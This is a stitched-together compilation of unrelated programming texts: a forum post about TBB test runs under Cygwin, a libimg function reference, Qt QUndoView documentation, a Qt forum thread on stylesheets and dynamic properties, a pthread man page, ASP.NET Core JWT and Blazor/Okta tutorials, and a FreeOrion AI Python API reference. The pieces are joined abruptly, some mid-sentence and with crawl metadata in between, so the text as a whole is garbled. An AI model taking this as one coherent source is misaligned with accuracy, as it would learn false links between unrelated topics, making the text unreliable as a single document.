The .def file that TBB built could not be read by nm and contained very few functions. The def file made with the scripts on that page did work, and then I replaced the .dll file with the generated .a file and that allowed more of the linking to proceed (though I have no idea if the results are correct).. TBB itself and some of the tests do link, so I could run some of the tests. I'm not sure how to tell if a test passed or not - they don't print out pass or fail. Here's what I got:
$ ./test_aligned_space.exe ; echo $?
done
0
$ ./test_assembly.exe ; echo $?
done
0
$ ./test_assembly_compiler_builtins.exe ; echo $?
done
0
$ ./test_atomic.exe ; echo $?
(I stopped it after 8m cpu time)
0
$ ./test_atomic_pic.exe ; echo $?
Known issue: PIC mode is not supported
skip
0
$ ./test_atomic_compiler_builtins.exe ; echo $?
(I stopped it after 1m cpu time)
$ ./test_fast_random.exe ; echo $?
(I stopped it after 1m cpu time)
$ ./test_task_assertions.exe ; echo $?
skip
0
$ ./test_task_leaks.exe ; echo $?
skip
0
$ ./test_ScalableAllocator.exe ; echo $?
127
>>$...
`__pei386_runtime_relocator' looks like a system function of Linux / Cygwin. Does it belong to TBB? I don't think so.
Just in case: PE stands for 'Portable Executable'
Quote:
Bjarke Hammersholt R. wrote:
Just ignore malloc proxy error for now. Comment *MALLOCPROXY* variables in windows.inc file.
Even you compile it it won't work for cygwin without changes. | https://software.intel.com/en-us/node/337692 | CC-MAIN-2016-30 | refinedweb | 921 | 72.76 |
img_decode_finish()
Release decode resources
Synopsis:
#include <img/img.h> int img_decode_finish( img_codec_t codec, io_stream_t * input, uintptr_t * decode_data );
Arguments:
- codec
- The handle of the codec that was used to decode.
- input
- A pointer to an input stream for the image data.
- decode_data
- The address of the uintptr_t that was used for img_decode_begin() and img_decode_frame() .
Library:
libimg
Use the -l img option to qcc to link against this library.
Description:
This function finalizes the decode process and releases resources allocated during a decoding session. You should call this function after you have finished decoding a series of frames, to release any resources that the decoder may have allocated in association with those frames.
You do not need to decode all the frames in a stream, but you should always follow up with img_decode_finish() when you have decoded the frames you are interested in to avoid potential memory leaks. | https://developer.blackberry.com/playbook/native/reference/com.qnx.doc.neutrino.lib_ref/topic/i/img_decode_finish.html | CC-MAIN-2021-21 | refinedweb | 146 | 53.21 |
Design patterns offer established solutions for common problems in software engineering. They represent the best practices that have evolved over time. This is the start of a series of posts that I will be creating over common and popular design patterns that developers should be familiar with. I’m going to start with creational patterns that involve the creation of objects. They help reduce complexity and decouple classes in a standardized manner.
For this post, I am going to talk about the Singleton design pattern.
The Singleton design pattern was the first pattern that I was taught in college. It’s purpose is to initialize only one instance of an object and provide a method for it to be retrieved. This is done by making the constructor private with a public method that returns the instance created. If you try to initialize another instance the compiler will throw an error. There are different ways of implementing this pattern and I will provide an example below pulled from tutorialspoint.com.
public class Singleton { private static Singleton singleton = new Singleton(); private Singleton(){} public static Singleton getInstance(){ return singleton; } }
When would you use the Singleton design pattern?
- Creation of objects that are computationally expensive
- Creation of loggers used for debugging
- Classes that are used to configure settings for an application
- Classes that hold or access resources that are shared
The Singleton pattern does come with some detractors however that believe that it is an anti-pattern. Many believe that it is not used correctly and that novice programmers use it too often. Forums also state that creating a container that holds and accesses the single class object is a much better solutions in modern applications. Whether or not this design pattern is useful to new developers seems to be up to debate. Let me know what you think in the comments below!
Sources
Baeldung. (2019, September 11). Introduction to Creational Design Patterns. Baeldung..
Java - How to Use Singleton Class? Tutorialspoint. (n.d.)..
Discussion (0) | https://practicaldev-herokuapp-com.global.ssl.fastly.net/jryther/singleton-design-pattern-4o70 | CC-MAIN-2022-33 | refinedweb | 331 | 54.93 |
The QUndoView class displays the contents of a QUndoStack. More...
#include <QUndoView>
This class was introduced in Qt 4.2.
The QUndoView class displays the contents of a QUndoStack.:.
Constructs a new view with parent parent and sets the observed stack to stack.
Constructs a new view with parent parent and sets the observed group to group.
The view will update itself autmiatically whenever the active stack of the group changes.
Destroys this view.
Returns the group displayed by this view.
If the view is not looking at group, this function returns 0.
See also setGroup() and setStack().
Sets the group displayed by this view to group. If group is 0, the view will be empty.
The view will update itself autmiatically whenever the active stack of the group changes.
See also group() and setStack().
Sets the stack displayed by this view to stack. If stack is 0, the view will be empty.
If the view was previously looking at a QUndoGroup, the group is set to 0.
See also stack() and setGroup().
Returns the stack currently displayed by this view. If the view is looking at a QUndoGroup, this the group's active stack.
See also setStack() and setGroup(). | http://idlebox.net/2010/apidocs/qt-everywhere-opensource-4.7.0.zip/qundoview.html | CC-MAIN-2013-20 | refinedweb | 200 | 78.85 |
PTHREAD_STACKSEG_NP(3) BSD Programmer's Manual PTHREAD_STACKSEG_NP(3)
pthread_stackseg_np - return stack size and location
#include <sys/signal.h> #include <pthread_np.h> int pthread_stackseg_np(pthread_t thread, stack_t *sinfo);
The pthread_stackseg_np() function returns information about the given thread's stack. A stack_t is the same as a struct sigaltstack (see sigaltstack(2)) except the ss_sp variable points to the top of the stack instead of the base.
If successful, the pthread_stackseg_np() function will return 0. Other- wise an error number will be returned to indicate the error.
The pthread_stackseg_np() function will fail if: [EAGAIN] Stack information for the given thread is not currently available. There is no guarantee that the given thread's stack information will ever become available.
sigaltstack(2), pthreads(3)
pthread_stackseg_np() is a non-portable. | https://www.mirbsd.org/htman/i386/man3/pthread_stackseg_np.htm | CC-MAIN-2014-10 | refinedweb | 126 | 50.23 |
I am getting this error: Unable to cast object of type ‘System.Web.UI.LiteralControl’ to type ‘System.Web.Controls.TextBox
I am getting this error: Unable to cast object of type ‘System.Web.UI.LiteralControl’ to type ‘System.Web.Controls.TextBox
foreach(Control x in this.Controls) { Button btn = (Button)x; btn.Enabled = true; }
At the moment I have a legacy website written in vb .net and web forms. Its about ten years old. I want to start to migrate components of it over to C# MVC.
At the moment I have a legacy website written in vb .net and web forms. Its about ten years old. I want to start to migrate components of it over to C# MVC.
My plan is to create a separate project in the solution in C# with .NET MVC, and do all the controller code etc in there. I would need to wire up routing etc from the vb.net project though, into this project. Eventually over time the plan is to migrate the entire project over to C# with .NET MVC.
The app uses forms auth (albeit a bit of a hacky implementation of it), so if someone logs into the legacy app, their authentication should also be recognised in the "new" project/system.
How would I do this?
In this tutorial we'll go through a simple example of how to implement JWT (JSON Web Token) authentication in an ASP.NET Core 3.0 API with C#ASP.NET Core 3.0 - JWT Authentication Tutorial with Example API JWT Auth API with Postman. JWT Auth API that you already have running.
For full details about the example React application see the post React - JWT JWT Auth API that you already have running.
For full details about the example VueJS JWT application see the post Vue.js + Vuex - JWT JWT Auth.
ASP.NET Core JWT User EntityASP.NET Core JWT User Entity = . If multiple types of entities or other custom data is required to be returned from a controller method then a custom model class should be created in the
Models folder for the response.
ASP.NET Core JWT App SettingsASP.NET Core JWT App Settings. For example the User Service accesses app settings via an
IOptions<AppSettings> appSettings object that is injected into the constructor.
Mapping of configuration sections to classes is done in the
ConfigureServices method of the Startup.cs file.
ASP.NET Core JWT Extension MethodsASP.NET Core JWT Extension Methods
namespace WebApi.Helpers { public class AppSettings { public string Secret { get; set; } } } JWT Authenticate ModelASP.NET Core JWT JWT User ServiceASP.NET Core JWT User Service.
ASP.NET Core JWT App Settings (Development)ASP.NET Core JWT App Settings (Development)); return user.WithoutPassword(); } public IEnumerable<User> GetAll() { return _users.WithoutPasswords(); } } }
Path: /appsettings.Development.json
Configuration file with application settings that are specific to the development environment.
ASP.NET Core JWT App SettingsASP.NET Core JWT App Settings
{ "Logging": { "LogLevel": { "Default": "Debug", "System": "Information", "Microsoft": "Information" } } }
Path: /appsettings.
ASP.NET Core JWT ProgramASP.NET Core JWT Program
{ "AppSettings": { "Secret": "THIS IS USED TO SIGN AND VERIFY JWT TOKENS, REPLACE IT WITH YOUR OWN SECRET, IT CAN BE ANY STRING" }, JWT StartupASP.NET Core JWT.
ASP.NET Core JWT Web Api csprojASP.NET Core JWT Web Api csproj> <ItemGroup> <PackageReference Include="Microsoft.AspNetCore.Authentication.JwtBearer" Version="3.0.0" /> <PackageReference Include="System.IdentityModel.Tokens.Jwt" Version="5.5.0" /> </ItemGroup> </Project>
The tutorial project is available on GitHub at.
Goodbye Javascript! Now, i can Building an Authenticated Web App in C# with Blazor +:
Name: OktaBlazorAspNetCoreServerSide
Base URIs:
Login redirect URIs:
Click Done, then click Edit next to General Settings on your newly created Okta app. Edit the following values: Logout redirect URIs: Initiate login URI:
Once you’ve saved those values, scroll down and take note of the ClientID and ClientSecret.
ClientId refers to the client ID of the Okta application ClientSecret refers to the client secret of the Okta application Issuer will need the text {yourOktaDomain} replaced with your Okta domain, found at the top-right of the Dashboard page.
You will use your Okta account settings to update those values in the
appsettings.json file in your project. => { options.ClientId = Configuration["okta:ClientId"]; options.ClientSecret = Configuration["okta:ClientSecret"];Add User Login to your Blazor Web App UI
NOTE: In the context of Blazor apps, endpoint routing is the more holistic way of handling redirects. This is covered here in depth. Also, see this documentation to learn more about it. Endpoint routing shipped in ASP.NET Core 2.2, but it didn't become the default in the templates until 3.0.:
Test Okta Registration and Login for Your Blazor AppTest Okta Registration and Login for Your Blazor App
<CascadingAuthenticationState> <Router AppAssembly="@typeof(Program).Assembly"> ... </Router> </CascadingAuthenticationState>!
Thank for reading! Originally published on scotch.io | https://morioh.com/p/hQirMKfHw3f2 | CC-MAIN-2020-05 | refinedweb | 806 | 52.66 |
Important: Please read the Qt Code of Conduct -
How to pass "ui" object to colors class from mainwindow.cpp
In my mainwindow.cpp, I'm reading a colors.ini out of my resource file and colorizing my widgets. This allows me to white label my software to multiple vendors by swapping logos and colors. However, I was wondering if there's a way to make my code more tidy so that I have like a colors.h and colors.cpp, and to pass the
uiobject to it so that I can interact with my widgets just as easily as I can in mainwindow.cpp, including the IntelliSense popups that occur as I type in QTCreator. For instance, I would like to be inside colors.cpp and type
ui->btnand up would pop a list of my widgets starting with
btnin their name.
So, to restate this a little more clearly:
Is there a way to take my mainwindow.cpp
uiobject and pass it to a Colors class (static class would be fine with me) in colors.cpp/colors.h?
Is there a way to allow this
uiobject to have the same IntelliSense popups as I type that I enjoy with mainwindow.cpp?
See, my mainwindow.cpp is already full of other stuff, and I'm trying to thin it down into more organized pieces, each clearly thought out and documented. That's why I want a place to put all this colorization stuff.
The things I've tried cause symbols missing errors.
Okay, I got it to work, although perhaps you can suggest a better tactic:
- I created the following colors.h, and skipped the colors.cpp step:
#include "mainwindow.h" #include "ui_mainwindow.h" class Colors { public: // class methods Colors(QMainWindow *mw,Ui::MainWindow *ui) { qDebug() << mw; qDebug() << ui; } };
- Inside mainwindow.cpp, I added this header:
#include "colors.h"
- Then, in mainwindow.cpp, after the setupUI call in the constructor class method, I did:
Colors *colors = new Colors(this,ui);
- I didn't have to do anything else except start redoing colors inside the
Colorsclass, using the
mwvariable if I wanted to work on colors for the MainWindow, or the
uivariable if I wanted to work on colors through the
uiobject.
- mrjj Lifetime Qt Champion last edited by
Hi are there a reason you do not use style sheets ?
Besides changing colors, it can change many other things. Like a logo (image)
like
You can then change colors and logo without even recompile.
You can make Color Class Friend of QMainwinow, and it will be able to use its private members.
But Im not sure why a stylesheet would not be much better. ?
@mrjj Good question. I had to keep putting stylesheets on every little thing, whereas with my colors class I can grab things by class and apply things in bulk. I still use stylesheets, but use my colors class to recolor what was already styled. For instance, I may have a series of buttons that are of a certain class, and unfortunately Qt doesn't allow me to put widgets in a certain class and apply a stylesheet to that class. So, my colors class loads a colors.ini in my resource file that is short and sweet. I change that little file, and the whole application changes, while not touching the other styling.
The way I achieved "class" was to take a little-used property "accessibleDescription" and put something in there like "success", "info", "warning", "danger" (if you are familiar with how Twitter Bootstrap does their color classes). Then, my colors class grabs all the buttons, looks at that property, applies the appropriate color combination from that, and then removes the accessibleDescription value. So, as I draw a widget on a page, I can say, "Oh, well, I'm adding something -- this is an add function button, so I'll want to apply the 'success' style to it," or, I can say, "On this button, I'm removing something, so I'll want to apply the 'danger' style to it."
It would be nice if a future version of Qt would have a class property on each widget. That way, we could make a global stylesheet where I could take buttons of say, class 'danger', and make them all red. Lacking that, I came up with another system.
- SGaist Lifetime Qt Champion last edited by
@maximo
Hi
Well you can do the same with style sheet. If you apply stylesheet to mainwindow, its
applies to all widgets within. You can define By class, like sample where
its all QFrame and subtypes. If you made your own frame, like HappyFrame, you could use that
as Type also to have it apply to all of that type.
Here we also say, must to named "TestDisplayFrame" and
have the dynamic property error set to true.
So you can group/mass apply with stylesheets.
QFrame#TestDisplayFrame[error="true"]
{
background-color: red;
border: 2px solid rgba(205, 92, 92, 255);
border-radius: 20px;
} :)
Interesting. I'm still a bit new to Qt. What's a "mixed widget"? How do I set "my own property" easily in the Designer? So there's an ability to add a custom property to a widget in the Designer that I can then edit the value on? If so, I could create one called widgetClass where I can use a MainWindow Stylesheet to adjust it.
@maximo
By mixed, I mean Like the following situation:
You have 15 Labels. Only some of them you want to change color of.
If you do
QLabel {
background-color: rgb(170, 85, 127);
}
All of them will change.
Then you can use their Objectname (set in designer)
QLabel#label_2{
background-color: rgb(170, 85, 127);
}
QLabel#label_3{
background-color: rgb(170, 85, 127);
}
..
For those you want to change. (Case important for name!)
If you then need to do it more dynamic, then in Designer
Over the Properties List , right of "filter" is Big Green +.
That let you add new property, you can then check for.
Do read the link SGaist provided on how to update if you change this
Dynamic property from code to make it really update.
So overall you can group on ClassType, Like "All QLabels",
with subgroups using a dynamic property, so you can say
All QLabels that has DoMe=true.
Or simply by names, Like All QLabels, Named a and b and c
Not saying it is better than your color setup, but just want to note
that StyleSheet applies from Object set on and all subchildren and
does provides ways to point to which WIdgets you want to change.
Note: I had issues getting it to check in Designer when using dynamic properties and had to use
code. Might have done something wrong. But By Type and by Name works as expected in Designer.
I had issues getting it to check in Designer when using dynamic properties and had to use
code.
Yeah, I see what you mean. I tried getting the stylesheet to recognize my dynamic property and it just wouldn't do it. I then tried to set the stylesheet from code on the main window, pulling from a CSS in a resource file, and the moment I used QPushButton[buttonClass="danger"]{ blah blah} , it generated a non-fatal runtime error (but still load) that said something like, "could not parse stylesheet for object [some hex number]". I think this is because I need to do the steps for QPROPERTY(), and that looked confusing and difficult for every button on my form, and more work than the way I was doing it in my colors class. Diminishing returns.
So, I went back to doing it my code way where I read a colors.ini file from the resource file, and then apply that to the objects in a colors class. However, because you showed me how to do a dynamic property, I was able to use this dynamic property in code with
.property("buttonClass").toString()so that I didn't have to kludge it by using
.accessibleDescription(). So, thanks! :)
- mrjj Lifetime Qt Champion last edited by
@maximo
Well, i did try the
style()->unpolish();
style()->polish();
for Mainwindow but ended up checking the dynamic property
in code and then assign a single style sheet to those I had flagged.
Maybe you are right and it must be for widgets for it to work.
Btw if you ever need to do something to all Widgets, its not that much code.
QList<QWidget *> widgets = findChildren<QWidget *>(); foreach (QWidget* b, widgets) { b->SOMETHING }
and you can replace QWidget * with say QPushButton * to get all buttons.
Anyways, good that you found use for Dynamic Properties.
Btw if you ever need to do something to all Widgets
Yep, I use that very technique in my colors class to iterate the widgets.
@maximo
Ok :)
I am going to test again with stylesheets.
It would be very nice it it worked as docs says.
Or at least to understand why it did not.
Update:
Ok, one must unpolish/ polish each widget as doing it to
Mainwindow doesn't seems to work.
But it also works with
setStyleSheet(styleSheet());
in MainWindow to reload (whole) style sheet.
Update 2:
Ok. Having qframes with bool error property.
It will update in Designer, if setting it.
No code. Sheet on MWindow.
So it does work with properties it seems. | https://forum.qt.io/topic/59979/how-to-pass-ui-object-to-colors-class-from-mainwindow-cpp | CC-MAIN-2021-31 | refinedweb | 1,564 | 72.46 |
Editing Console
Total Newbie here. Wondering if there is any way of editing script in the console after an error has been indicated. I am wanting to display script in the editor on a split page & modify the script in the console for learning purposes, but every time I make a mistake I have to delete everything I've typed rather than being able to just fix it. Thanks
To edit the last line typed into the console, hit the ^ button just above the = key at the upper right of the onscreen keyboard.
Thanks CCC. I didn't know about that. I am encountering other problems such as, if I copy my script from the editor to the console I can't get it to run, so are giving up on the console & playing around in the editor. I am going through a Python book & saving the example scripts in Pithonista so I can modify them as a tool for learning. However once modified, that's how they stay in the file & I have lost the original script I typed in. Have resorted to copying the original file, playing around with it in the editor, then deleting my modified version & pasting the original.
Any other alternatives???
Thanks Alan
When you run a script, you can look at variables in the console, run other functions, print things out in the console, etc. You can use the variable browser from the console.
You can also set breakpoints to use the visual debugger.
Another approach for debugging when you have an error:
import pdb pdb.pm()
Then you can inspect the state of variables, modify them, etc.
The console only lets you type one "line" at a time at the top level indent. You can type a complete def or class, but not multiple statements, so usually your cannot just paste something in from the editor, unless it is a top level def or class.
It is often just easier to make your updates to the editor file, and press play again
I find that I create
hack,.py, junk.py, scratch.pyall the time so that I can have one file that contains my modification/hacks while some other file contains the pristine unmodified original code that I started with. Every once in a while I actually make some useful improvement and then I select all and copy from
scratch.pyand select all and paste into the original. Life is easier when you get into the git workflow but this approach should be good enough for a start.
One idea would be to have a wrench script that saves the editor contents to a file with the same name and an incrementing number in the end. Then it would be easy to create ”checkpoints” while experimenting. | https://forum.omz-software.com/topic/5768/editing-console | CC-MAIN-2022-05 | refinedweb | 464 | 69.21 |
AI Python API
FreeOrion provides an embedded Python interface for writing AI scripts to determine AI behaviours. Python scripts can be easily modified and used without need to recompile the AI executable. This page provides (or will provide) an overview of FreeOrion AI Python scripting and a reference for the FreeOrion AI Python interface.
FreeOrion AI scripts work by acting like a player: examining the gamestate, deciding on strategies, and issuing orders... essentially playing the game just like a player, except without a GUI. The AI script can't directly modify the game universe by creating buildings or planets or ships from nothing, as these are not powers available to any player. If the AI wants a new ship, it needs to order its production and wait for it to complete, just like a player. Similarly, the AI client is given the same information that any player, human or AI, receives about the gamestate, based on what ships, planets, system, etc. that the player's empire knows about. AIs play by the same rules as human players.
The FreeOrion AI interface provides functions and classes to access the known game Universe and its contents, Empires and player information, as well as functions to issue orders and for logging or debug purposes. (Essentially) all these functions and classes are exposed to Python in the freeOrionAIInterface module, which can be imported into Python scripts executed by the FreeOrion AI executable.
Contents
- 1 Scripting Structure
- 2 freeOrionAIInterface
- 3 Logging
- 4 Free Functions
- 5 Classes
- 5.1 Universe
- 5.2 UniverseObject
- 5.3 Fleet
- 5.4 Ship
- 5.5 ShipDesign
- 5.6 PartType
- 5.7 HullType
- 5.8 Building
- 5.9 BuildingType
- 5.10 ResourceCenter
- 5.11 PopCenter
- 5.12 Planet
- 5.13 System
- 5.14 Special
- 5.15 Empire
- 5.16 ResearchQueue
- 5.17 ResearchQueueElement
- 5.18 ProductionQueue
- 5.19 ProductionQueueElement
- 5.20 Tech
- 6 Enumerations
- 7 STL Containers
Scripting Structure
The FreeOrion AI executable looks for an AI script file:
/default/AI/FreeOrionAI.py
This main AI script file must contain the following Python functions for the FreeOrion AI client to execute properly:
- initFreeOrionAI() - Called when the AI client is first started. Doesn't need to do anything.
- startNewGame() - Called when a new game is started (but not when a game is loaded). Should clear any pre-existing AI state and set up whatever the AI script needs to generate orders.
- resumeLoadedGame(savedStateString) - Called when a saved game is loaded. The savedStateString (string) parameter will contain AI state information from when the game was saved, and this information should be extracted now so that the AI script can resume from where it was when the game was saved. If a script does not need to restore state information, resumeLoadedGame() can do nothing.
- prepareForSave() - Called when the game is about to be saved. The AI script should compact any state information it wishes to retain when a game is later loaded into a single string (This can be done using Python's pickle library). The setSaveStateString() function is used to set the save state string, and should be called within prepareForSave(). If a script does not need to save state information, prepareForSave() can do nothing.
- handleChatMessage(senderID, messageText) - Called when this player receives a text message. The AI script can reply using the sendChatMessage() function, or can ignore the message. senderID (int) is the player ID of the player who send the message, and messageText (string) is the text of the sent message.
- generateOrders() - Called once per turn to tell the AI script that it should generate and issue orders for the current turn. Within this function the doneTurn() function should be called to indicate that the script is done issuing orders for this turn. Not calling doneTurn() within generateOrders() or within another function called by generateOrders() will cause the FreeOrion server to wait indefinitely for the AI's turn to complete.
freeOrionAIInterface
Within FreeOrionAI.py and within any other script files called by it, the freeOrionAIInterface module should be imported:
import freeOrionAIInterface as fo
This module provides all the functions and classes used to access the gamestate that the AI player knows about and all the functions used to issue orders, interact with other players, save game state or to end the AI player's turn. The following functions and classes are all contained within freeOrionAIInterface.
Logging
FreeOrion AI Python scripts are run by the AI executable, which does not have any display or user interface. In order to see error messages or debug output from scripts, the AI executable redirects standard output and error to the AI log file. Any error output that is produced during execution of a script will appear in the FreeOrion AI log file automatically. To generate debug output, simply use the built-in python print command:
print "this will generate debug output"
The printed text will appear int he FreeOrion AI log file.
Free Functions
The following functions are exposed to Python in the freeOrionAIInterface module:
- playerName() - Returns the name (string) of this AI player.
- playerName(playerID) - Returns the name (string) of the player with the indicated playerID (int).
- playerID() - Returns the integer id of this AI player.
- empirePlayerID(empireID) - Returns the player ID (int) of the player who is controlling the empire with the indicated empireID (int).
- allPlayerIDs() - Returns an object (intVec) that contains the player IDs of all players in the game.
- playerIsAI(playerID) - Returns true (boolean) if the player with the indicated playerID (int) is controlled by an AI and false (boolean) otherwise.
- playerIsHost(playerID) - Returns true (booean) if the player with the indicated playerID (int) is the host player for the game and false (boolean) otherwise.
- empireID() - Returns the empire ID (int) of this AI player's empire.
- playerEmpireID(playerID) - Returns the empire ID (int) of the player with the specified player ID (int).
- allEmpireIDs() - Returns an object (intVec) that contains the empire IDs of all empires in the game.
- getEmpire() - Returns the empire object (Empire) of this AI player
- getEmpire(empireID) - Returns the empire object (Empire) with the specified empire ID (int)
- getUniverse() - Returns the universe object (Universe)
- validShipDesign(hull, parts) - Returns true (boolean) if the passed hull (string) and parts (StringVec) make up a valid ship design, and false (boolean) otherwise. Valid ship designs don't have any parts in slots that can't accept that type of part, and contain only hulls and parts that exist (and may also need to contain the correct number of parts - this needs to be verified).
- validShipDesign(shipDesign) - Returns true (boolean) if the passed ship design (ShipDesign) is valid, and false otherwise.
- getShipDesign(id) - Returns the ship design (ShipDesign) with the indicated id number (int).
- getPartType(name) - Returns the ship part (PartType) with the indicated name (string).
- getHullType(name) - Returns the ship hull (HullType) with the indicated name (string).
- getBuildingType(name) - Returns the building type (BuildingType) with the indicated name (string).
- getSpecial(name) - Returns the special (Special) with the indicated name (string).
- getTech(name) - Returns the tech (Tech) with the indicated name (string).
- getTechCategories() - Returns the names of all tech categories (StringVec).
- techs() - Returns the names of all techs (StringVec).
- techsInCategory(name) - Returns the names of all techs (StringVec) in the indicated tech category name (string).
- currentTurn() - Returns the current game turn (int).
- issueFleetMoveOrder(fleetID, destinationID) - Orders the fleet with indicated fleetID (int) to move to the system with the indicated destinationID (int). Returns 1 (int) on success or 0 (int) on failure due to not finding the indicated fleet or system.
- issueRenameOrder(objectID, name) - Orders the renaming of the object with indicated objectID (int) to the new indicated name (string). Returns 1 (int) on success or 0 (int) on failure due to this AI player not being able to rename the indicated object (which this player must fully own, and which must be a fleet, ship or planet).
- issueScrapOrder(objectID) - Orders the ship or building with the indicated objectID (int) to be scrapped. Returns 1 (int) on success or 0 (int) on failure due to not finding a ship or building with the indicated ID, or if the indicated ship or building is not owned by this AI client's empire.
- issueNewFleetOrder(name, shipIDs) - Orders a new fleet to be created with the indicated name (string) and containing the indicated shipIDs (IntVec). The ships must be located in the same system and must all be owned by this player. Returns 1 (int) on success or 0 (int) on failure due to one of the noted conditions not being met.
- issueFleetTransferOrder(shipID, newFleetID) - Orders the ship with ID shipID (int) to be transferred to the fleet with ID newFleetID. Returns 1 (int) on success, or 0 (int) on failure due to not finding the fleet or ship, or the client's empire not owning either, or the two not being in the same system (or either not being in a system) or the ship already being in the fleet.
- issueColonizeOrder(shipID, planetID) - Orders the ship with ID shipID (int) to colonize the planet with ID planetID (int). Returns 1 (int) on success or 0 (int) on failure due to not finding the indicated ship or planet, this client's player not owning the indicated ship, the planet already being colonized, or the planet and ship not being in the same system.
- issueChangeFocusOrder(planetID, focus) - Orders the planet with ID planetID (int) to use focus setting focus (string). Returns 1 (int) on success or 0 (int) on failure if the planet can't be found or isn't owned by this player, or if the specified focus is not valid on the planet.
- issueEnqueueTechOrder(techName, position) - Orders the tech with name techName (string) to be added to the tech queue at position (int) on the queue. Returns 1 (int) on success or 0 (int) on failure if the indicated tech can't be found. Will return 1 (int) but do nothing if the indicated tech can't be enqueued by this player's empire.
- issueDequeueTechOrder(techName) - Orders the tech with name techName (string) to be removed from the queue. Returns 1 (int) on success or 0 (int) on failure if the indicated tech can't be found. Will return 1 (int) but do nothing if the indicated tech isn't on this player's empire's tech queue.
- issueEnqueueBuildingProductionOrder(buildingName, locationID) - Orders the building with name (string) to be added to the production queue at the location of the planet with id locationID. Returns 1 (int) on success or 0 (int) on failure if there is no such building or it is not available to this player's empire, or if the building can't be produced at the specified location.
- issueEnqueueShipProductionOrder(designID, locationID) - Orders the ship design with ID designID (int) to be added to the production queue at the location of the planet with id locationID (int). Returns 1 (int) on success or 0 (int) on failure there is no such ship design or it not available to this player's empire, or if the design can't be produced at the specified location.
- issueRequeueProductionOrder(oldQueueIndex, newQueueIndex) - Orders the item on the production queue at index oldQueueIndex (int) to be moved to index newQueueIndex (int). Returns 1 (int) on success or 0 (int) on failure if the old and new queue indices are equal, if either queue index is less than 0 or greater than the largest indexed item on the queue.
- issueDequeueProductionOrder(queueIndex) - Orders the item on the production queue at index queueIndex (int) to be removed form the production queue. Returns 1 (int) on success or 0 (int) on failure if the queue index is less than 0 or greater than the largest indexed item on the queue.
- IssueCreateShipDesignOrder(name, description, hull, partsVec, graphic, model) - Orders the creation of a new ship design with the name (string), description (string), hull (string), parts vector partsVec (StringVec), graphic (string) and model (string). model should be left as an empty string as of this writing. There is currently no easy way to find the id of the new design, though the client's empire should have the new design after this order is issued successfully. Returns 1 (int) on success or 0 (int) on failure if any of the name, description, hull or graphic are empty strings, if the design is invalid (due to not following number and type of slot requirements for the hull) or if creating the design fails for some reason.
- sendChatMessage(recipientID, message) - Sends the indicated message (string) to the player with the indicated recieipientID (int) or to all players if recipientID is -1.
- setSaveStateString(saveStateString) - Sets the save state string (string). This is a persistant storage space for the AI script to retain state information when the game is saved and reloaded. Any AI state information to be saved should be stored in a single string (likely using Python's pickle module) and stored using this function when the prepareForSave() Python function is called.
- getSaveStateString() - Returns the previously-saved state string (string). Can be used to retreive the last-set save state string at any time, although this string is also passed to the resumeLoadedGame(savedStateString) Python function when a game is loaded, so this function isn't necessary to use if resumeLoadedGame stores the passed string.
- doneTurn() - Ends the AI player's turn, indicating to the server that all orders have been issued and turn processing may commence.
Classes
Universe
SubClasses:
SubClass Of:
The Universe class contains the majority of FreeOrion gamestate: All the UniverseObjects in the game, and all ShipDesigns in the game. (Other gamestate is contained in the Empire class.) The Universe class provides functions with which to access objects in it and information about connections and paths between systems.
Properties
- allObjectIDs - An IntVec containing ids of all objects in the universe.
- fleetIDs - An IntVec containing ids of all Fleets in the universe.
- systemIDs - An IntVec containing ids of all Systems in the universe.
- planetIDs - An IntVec containing ids of all Planets in the universe.
- shipIDs - An IntVec containing ids of all Ships in the universe.
- buildingIDs - An IntVec containing ids of all Buildings in the universe.
Functions
- getObject(id) - Returns the UniverseObject in the universe with the indicated id (int), or None if no object exists with that id.
- getFleet(id) - Returns the Fleet in the universe with the indicated id (int), or None if no fleet exists with that id.
- getShip(id) - Returns the Ship in the universe with the indicated id (int), or None if no ship exists with that id.
- getPlanet(id) - Returns the Planet in the universe with the indicated id (int), or None if no planet exists with that id.
- getSystem(id) - Returns the System in the universe with the indicated id (int), or None if no system exists with that id.
- getBuilding(id) - Returns the Building in the universe with the indicated id (int), or None if no building exists with that id.
- systemHasStarlane(systemID, empireID) - Returns true if the system with ID systemID (int) has at least one starlane to any other system that is known of by the empire with id empireID (int). Returns false otherwise.
- systemsConnected(systemID1, SystemID2, empireID) - Returns true (bool) if the systems with ids systemID1 (int) and systemID2 (int) have a series of starlanes connecting them directly or indirectly via other systems, that is known of by the empire with id empireID (int). Returns false (bool) otherwise.
- updateMeterEstimates() - Recalculates the estimated next-turn meter values of all objects in the universe, taking into account any orders that this player has issued since the start of the current turn. To have object meters updated, this function must be called after issuing any meter-altering orders, including issueChangeFocusOrder.
- leastJumpsPath(systemID1, systemID2, empireID) - Returns a list of system IDs (IntVec) that is the series of starlane jumps between systems with ids systemID1 (int) and systemID2 (int) that takes the fewest jumps (but not necessarily the shortest travel distance / time),.
- shortestPath(systemID1, systemID2, empireID) -- Returns a list of system IDs (IntVec) that is the series of starlane jumps between systems with ids systemID1 (int) and systemID2 (int) that is the shortest route (not the same as fewest jumps).
- dump() - Returns a text representation of the objects (string) contained in the Universe. Probably only useful for debugging purposes if output to the log file.
UniverseObject
SubClasses: Fleet, Ship, Building, Planet, System
SubClass Of:
Properties
- id - An internal unique identification number (int) for each object.
- name - The name of an object (string).
- x - The x-coordinate of the object's location in the universe (double).
- y - The y-coordinate of the object's location in the universe (double).
- systemID - The id (int) of the system in which the object is located. May be -1 to indicate the object is not in a system.
- unowned - True (bool) if the object has no owners, false (bool) otherwise.
- owners - The list of empire IDs (IntSet) of empires that own this object. Generally will be only a single empire or no empires, except for systems that may contain multiple empires' planets.
- creationTurn - The turn number (int) on which this object was created. If an object was created before the start of the game, this should be a large negative number.
- ageInTurns - The age in turns (int) of this object. If an object was created before the start of the game, this should be a large negative number.
- specials - A list of names (StringSet) of specials attached to this object.
Functions
- ownedBy() -
- whollyOwnedBy() -
- Contains() -
- ContainedBy() -
- MeterPoints() -
- ProjectedMeterPoints() -
- CurrentMeter() -
- ProjectedCurrentMeter() -
- MaxMeter() -
- ProjectedMaxMeter() -
Fleet
SubClasses:
SubClass Of: UniverseObject
Properties
- fuel - The current fuel (double) available to this fleet, which is the smallest of the fuels on ships in the fleet.
- maxFuel - The maximum fuel (double) capacity of this fleet, which is the smallest of the fuel capacities of ships in the fleet.
- finalDestinationID - The id (int) of the system to which this fleet has been ordered to move. May be -1 to indicate there is no destination.
- previousSystemID - The id (int) of the system from which the fleet most recently departed. May be -1 to indicate there is no previous system.
- nextSystemID - The id (int) of the system to which the fleet is moving next. May return -1 to indicate there is no next system.
